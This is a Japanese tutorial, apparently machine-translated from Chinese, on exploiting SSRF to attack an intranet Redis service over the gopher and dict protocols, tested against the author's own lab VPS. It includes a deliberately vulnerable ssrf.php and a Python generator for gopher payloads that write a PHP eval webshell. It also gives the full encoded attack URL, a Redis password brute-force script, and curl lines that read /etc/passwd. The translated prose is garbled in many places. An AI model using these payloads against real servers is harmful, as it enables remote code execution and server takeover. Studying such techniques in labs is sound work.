SSRFの脆弱性のRedisの悪用
SSRF-(サーバー側リクエストフォージ、サーバー側リクエスト偽造)
定義:攻撃者によって構築され、実行のためにサーバーに送信される攻撃リンクによって引き起こされる脆弱性。通常、外部ネットワーク上の内部ネットワークサービスを検出または攻撃するために使用されます。
SSRFの脆弱性マインドマップは次のとおりです。この記事では、主にSSRFの脆弱性を使用してイントラネットRedisを攻撃する方法を紹介します。
SSRFがイントラネットRedisを攻撃
SSRFの脆弱性があり、イントラネット内のRedisサービスに許可なくアクセスできる場合、Redisを使用して任意のファイルを書き込むことが非常に一般的な使用方法になります。通常、イントラネット内でroot権限で実行されるRedisサービスがあります。 Gopherプロトコルを使用して、イントラネットRedisを攻撃できます。
前回の記事「SSRFの脆弱性の基礎」では、ファイル、辞書、およびgopherプロトコルの定期的な使用について学習しました。
# 利用file协议查看文件
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'
# 利用dict探测端口
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'
# 利用gopher协议反弹shell
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'
私たちは、メッセージを構築するためにGopherプロトコルを使用したい場合は、我々はRedisのは、データ送信を行う方法を見つけ出す必要があります-すなわち[RESPプロトコル]
Redis伝送プロトコル-[RESPプロトコル]
不正アクセスをRedisする
dockerを使用して、テスト用の既製のRedis無許可の脆弱性環境を構築します。プロセスは次のとおりです。
- Redisカスタムイメージを取得する
# 搜索镜像
docker search ju5ton1y
# 拉取镜像
docker pull ju5ton1y/redis
-
Redisコンテナを実行する
ps:ju5ton1y / redisミラーdockerfileがどのように書かれているかを理解したい学生は、記事の最後にイースターエッグを見ることができます〜
# 运行Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis
-p 6788:6379#ポートマッピング、フォーマット[ホスト(ホスト)ポート:コンテナポート]
-d ju5ton1y / redis#コンテナをバックグラウンドで実行し、コンテナIDを返します
--Name redis_test#コンテナに名前を付けます
- コンテナに入り、tcpdumpキャプチャツールをインストールします
# 新终端进入Redis容器
docker exec -it redis_test /bin/bash
# 将redis.conf改为无密码未授权
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf
# 重启容器使配置生效
docker restart redis_test
# 重新进入容器安装tcpdump
apt-get install tcpdump
# 监听eth0网卡的6379端口,将报文保存为nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap
- ローカルクライアントは不正アクセスのために接続し、Wiresharkを使用してnopass.pcapを開きます
TCPストリームデータを表示すると、Redisデータ送信形式が表示され、公式Webサイトと組み合わせてRESPプロトコルを学習できます。概要は次のとおりです。
Redis
サーバーとクライアントはRESP
(REdisシリアル化プロトコル)プロトコルを介して通信しますRESPプロトコルはRedis1.2で導入されましたが、Redis2.0でRedisサーバーと通信するための標準的な方法になりました。
RESPは、実際には次のデータ型をサポートするシリアル化プロトコルです。
- 単純な文字列
- エラー
- 整数
- バッチ文字列
- アレイ
RESPは、Redisで次のように要求/応答プロトコルとして使用されます。
- クライアントはコマンドを
Bulk Strings
RESPアレイとしてRedisサーバーに送信します- サーバーは、コマンドに従ってRESPタイプに応答します
RESPでは、一部のデータのタイプは最初のバイトによって異なります。
- クライアント要求の
Simple Strings
場合、応答の最初のバイトは+
- クライアント要求の
error
場合、応答の最初のバイトは-
- クライアント要求の
Integer
場合、応答の最初のバイトは:
- クライアント要求の
Bulk Strings
場合、応答の最初のバイトは$
- クライアント要求の
array
場合、応答の最初のバイトは*
さらに、値を表すために
RESP
、Bulk Strings
または後で指定さArray
れる特別なバリアントを使用できNull
ます。RESPでは、契約のさまざまな部分が常に
"\r\n"(CRLF)
終了します。
クライアントがRedisサーバーにコマンドを送信するプロセスは次のとおりです。
- クライアントは、バルク文字列のみで構成されるRESPアレイをRedisサーバーに送信します
- Redisサーバーは、有効なRESPデータ型をクライアントへの応答として送信します
バルク文字列は、最大長が512 MBの単一のバイナリセキュリティ文字列を表すために使用され、次の方法でエンコードされます。
$字节数
:$
バイト数の後に文字列が続き、CRLFで終了します。- 文字列データ
- CRLF
文字列f4ke
のエンコードは次のとおりです。、以下に$4\r\nf4ke\r\n
示す形式
RESPアレイは、次の形式を使用して送信されます。
*元素数
:*
最初のバイトとしての文字、配列内の要素数、CRLFの順- 配列内の各要素はRESPタイプで接続されています
次の図からデータパケットを理解します。
- それぞれ
*number
が各コマンドラインを表し、numberは各コマンドラインの配列内の要素の数を表します- この図では、このコマンドを
*3
表すconfig get dbfilename
3つの要素
- この図では、このコマンドを
$number
各要素の長さを表します$6
、config
長さを表します
Redis認証アクセス
パスワードがある場合にパケットをキャプチャするようにredis.conf設定を変更します
# 进入容器中修改配置文件
sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf
# 重启docker容器
docker restart redis_test
# 监听eth0网卡的6379端口,将报文保存为pass.pcap
tcpdump -i eth0 port 6379 -w pass.pcap
WiresharkはTCPフローを追跡します。
/tmp
shell.phpに正常に書き込まれました
各リクエストコマンドが実行される前の検証には、次の形式が使用されていることがわかります。
*2
$4
AUTH
$6
123123
公式文書には、クライアントが次のコマンドを発行する前に前のコマンドのサーバー応答を読み取ることなく、1回の書き込み操作で複数のコマンドを送信できることが記載されています。
したがって、認証(弱いパスワード)の場合でも、無許可と同じ攻撃方法を実行でき、攻撃スクリプトに認証データを追加するだけで済みます。
SSRF攻撃の再発
不正アクセスをRedisする
テスト環境:
被害者:Tencent Cloud VPS php7.2(curl拡張機能のインストール)+ apache2 + redis6.0.6
攻撃マシン:windows10
最初に、ssrf脆弱性コードをいくつか与え、それを使用してフラグを見つけます〜
# ssrf.php
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
# curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
# curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); //关闭 cURL 资源,并且释放系统资源
?>
dictプロトコルを使用して、内部ネットワークのホストの存続とポートのオープンステータスを検出し、burpsuiteツールを使用してブラスト1000〜9000ポートを設定します。ブラストの結果は次のとおりで、ポート6788にredisサービスがあります。
また、vpsの6788redisポートにはローカルでアクセスできません。そのRedisサービスは、vpsが配置されているイントラネット専用です。
予備的なアイデア:Webshellを作成するためのRedisコマンドを作成し、Chinese AntSword接続を使用してフラグを見つけてみてください
flushall
set 1 '<?php eval($_POST[\"f4ke\"]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit
RESPプロトコルに従って、Qiyouマスターによって作成されたpythonスクリプトを使用してredisSsrf.py
、上記のコマンドをgopherペイロードに変換します。
import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))
redisSsrf.py
スクリプトを実行してペイロードを生成します
次のようにurlパラメータブラウザリクエストを入力し、Redisコマンドを正常に実行してWebシェルに書き込みます
http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
中国のAntSwordを使用して接続を確立します。ファイルは先ほど作成したもの5he1l.php
で、パスワードはf4ke
データを保存します。ファイル管理を右クリックすると、フラグファイルが見つかります。
弱いパスワード認証をRedisします
テスト環境:
被害者:Tencent Cloud VPS php7.2(curl拡張機能のインストール)+ apache2 + redis6.0.6
攻撃マシン:windows10
ブラウザアクセスは次のように返されます:リクエストのパスワード認証はありません
さらに、dictプロトコルを使用して、次の形式を使用してパスワードの認証を試みます。
dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456
使用してauth:123456
、結果を返します:
使用してauth:123123
、結果を返します:
2つの応答結果から、Redisパスワードは123123であると判断できます。
したがって、イントラネットRedis認証の場合、dictまたはgopherおよびその他のプロトコルを使用して、Redisパスワードをブラストしようとするスクリプトを作成できます。ブラストスクリプトの簡単な実装は次のとおりです。
import urllib.request
import urllib.parse
url = "http://xx.xx.xx.xx:8000/ssrf.php?url="
param = 'dict://127.0.0.1:6788/auth:'
with open(r'd:\test\top100.txt', 'r') as f:
for i in range(100):
passwd = f.readline()
all_url = url + param + passwd
# print(all_url)
request = urllib.request.Request(all_url)
response = urllib.request.urlopen(request).read()
# print(response)
if "+OK\r\n+OK\r\n".encode() in response:
print("redis passwd: " + passwd)
break
ブラストで取得したパスワードをredisSsrf.py
スクリプトに追加し、以下の攻撃はサーバー権限を取得するための不正アクセス攻撃プロセスと同じです。
SSRF利用ツール
Gopherus-https://github.com/tarunkant/Gopherus
Gopherusは、SSRF(サーバー側の要求偽造)を使用してRCE(リモートコード実行)を取得するためにGopherペイロードを直接生成するのに役立ちます。
たとえば、この記事のマスターQiyouのスクリプトは、ペイロードを直接生成する代わりに、このツールを使用できます。
次の2つのツールが一般的に使用されます
- SSRFmap-https://github.com/swisskyrepo/SSRFmap
- shellver-https://github.com/0xR0/shellver
総括する
Webシェルへの書き込みに加えて、SSRFを使用してイントラネットRedisを攻撃することもできます。
- スケジュールされたタスク実行コマンドリバースシェル
- ssh-keygen公開鍵を書き込み、秘密鍵でログインします
これらの2つの方法は、記事「Redis Unauthorized VulnerabilitySummary」で詳細に使用されています。ペイロードがこの記事redisSsrf.py
のスクリプトと組み合わされている限り、攻撃を実現できます。
Redis攻撃環境の確立を通じて、dockerコマンドとdockerfileの記述、ubuntu apache2の構成、組み込みのファイアウォールufwの使用に精通しています。
イースターエッグ
DockerfileファイルがRedisの無許可環境のカスタマイズをどのように実現するか:
#Redis 未授权访问
# 基于ubuntu:16.04版本
FROM ubuntu:16.04
# Maintainer: 设置该镜像的作者
MAINTAINER ju5ton1y
# RUN:用于执行后面跟着的命令行命令。有以下俩种格式:
## shell 格式:等同于在终端操作的 shell 命令
RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse" > /etc/apt/sources.list # 换源
RUN apt-get update # 更新
RUN apt-get install -y openssh-server make gcc
#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz
# COPY:从上下文目录中复制文件或者目录到容器里指定路径
COPY redis-3.2.11.tar.gz ./ # 复制redis安装包到容器当前文件夹
RUN tar xzf redis-3.2.11.tar.gz # 解压
RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin # 编译并将redis-server及redis-cli复制到/usr/bin目录下
# ADD:复制文件指令。它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件
ADD redis.conf /etc/redis.conf # 映射配置文件到容器内
ADD sshd_config /etc/ssh/sshd_config
# EXPOSE:指定容器在运行时监听的端口
EXPOSE 6379 22
RUN /etc/init.d/ssh restart # 重启ssh服务
# CMD 类似于 RUN 指令,在docker run时运行
## exec 格式:等价于 RUN redis-server /etc/redis.conf
CMD ["redis-server", "/etc/redis.conf"] # 以被映射到容器中的配置文件启动redis服务
スタートアップコンフィギュレーションコンテキストディレクトリは次のとおりです。
参照
SSRF学習記録:科学的にオンラインにする必要がある